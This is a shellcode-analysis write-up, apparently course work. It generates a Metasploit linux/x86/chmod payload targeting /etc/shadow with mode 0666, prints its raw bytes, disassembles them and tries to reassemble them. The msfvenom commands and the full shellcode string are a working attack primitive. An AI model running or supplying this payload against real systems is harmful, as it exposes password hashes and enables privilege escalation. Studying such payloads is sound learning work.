Generating shellcode sample
First, let’s list the options the MSF payload expects as required parameters. Here we see it requires the FILE and MODE parameter to be set.
MSF payload requirements
$ msfvenom --list-options -p linux/x86/chmod
Options for payload/linux/x86/chmod:
=========================
Name: Linux Chmod
Module: payload/linux/x86/chmod
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal
Provided by:
kris katterjohn <katterjohn@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)
Description:
Runs chmod on specified file with specified mode
Next step is generating the shellcode with the required options:
Generating shellcode in C
$ msfvenom -p linux/x86/chmod file=/etc/shadow mode=0666 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
Without newlines, the string is:
“\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80”
Creating binary file for later analysis
RAW
$ msfvenom -p linux/x86/chmod file=/etc/shadow mode=0666 --platform linux -a x86 R -o msf_linx86_chmod_sample2.bin
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Saved as: msf_linx86_chmod_sample2.bin
C
$ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" > msf_linx86_chmod_sample2_alt.bin
Differences between raw output and generated C code
Again, NULL bytes but both the RAW and C generated file are the same and we need to get rid of those pesky NULL bytes. Analyzing with ndisasm we see the NULL bytes are being caused by call and push of dword’s in ASM.
Analyzing with NDISASM
$ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E80C000000 call dword 0x16
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popad
00000012 646F fs outsd
00000014 7700 ja 0x16
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
Analyzing with libemu
Attempting to analyze the generated shellcode it only gives debug states of registers and flags, but no pseudo-code is being generated for further analysis.
$ sctest -vvv -S -s 10000 -G libemu_msf_linx86_chmod_sample2 < msf_linx86_chmod_sample2.bin
graph file libemu_msf_linx86_chmod_sample2
verbose = 3
[emu 0x0x8b440a0 debug ] cpu state eip=0x00417000
[emu 0x0x8b440a0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
...<SNIP>...
[emu 0x0x8b440a0 debug ] Flags:
[emu 0x0x8b440a0 debug ] 59 pop ecx
[emu 0x0x8b440a0 debug ] cpu state eip=0x0041701d
[emu 0x0x8b440a0 debug ] eax=0x0000000f ecx=0x000001b6 edx=0x00000000 ebx=0x0041700a
[emu 0x0x8b440a0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8b440a0 debug ] Flags:
[emu 0x0x8b440a0 debug ] CD80 int 0x80
stepcount 8
copying vertexes
...<SNIP>...
[emu 0x0x8b440a0 debug ] cpu state eip=0x0041701f
[emu 0x0x8b440a0 debug ] eax=0x0000000f ecx=0x000001b6 edx=0x00000000 ebx=0x0041700a
[emu 0x0x8b440a0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8b440a0 debug ] Flags:
Generating PNG file from DOT
When attempting to generate a PNG from the libemu DOT file, it remains empty. This is obvious, as there is no code generated to analyze.
$ dot libemu_msf_linx86_chmod_sample2 -Tpng -o msf_linx86_chmod_sample2.png
Recompile shellcode in ASM
Using some awk magic, we can append the instructions to our ASM template.
Get ASM instructions from ndisasm
$ ndisasm -u msf_linx86_chmod_sample2.bin | awk '{print substr($0, index($0, $3))}'
cdq
push byte +0xf
pop eax
push edx
call dword 0x16
das
gs jz 0x71
das
jnc 0x79
popad
fs outsd
ja 0x16
pop ebx
push dword 0x1b6
pop ecx
int 0x80
push byte +0x1
pop eax
int 0x80
Append ASM template
$ cp asm_template.asm msf_linx86_chmod_asm_sample2.asm
$ ndisasm -u msf_linx86_chmod_sample2.bin | awk '{print substr($0, index($0, $3))}' >> msf_linx86_chmod_asm_sample2.asm
Compiling ASM file
$ ../compile_asm.sh msf_linx86_chmod_asm_sample2
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Running the ASM binary
SEGFAULT when we try to run our binary, analyzing with strace doesn’t give us any clear instructions being used. This is probably caused by the NULL-bytes in the shellcode, so we need to get rid of those first.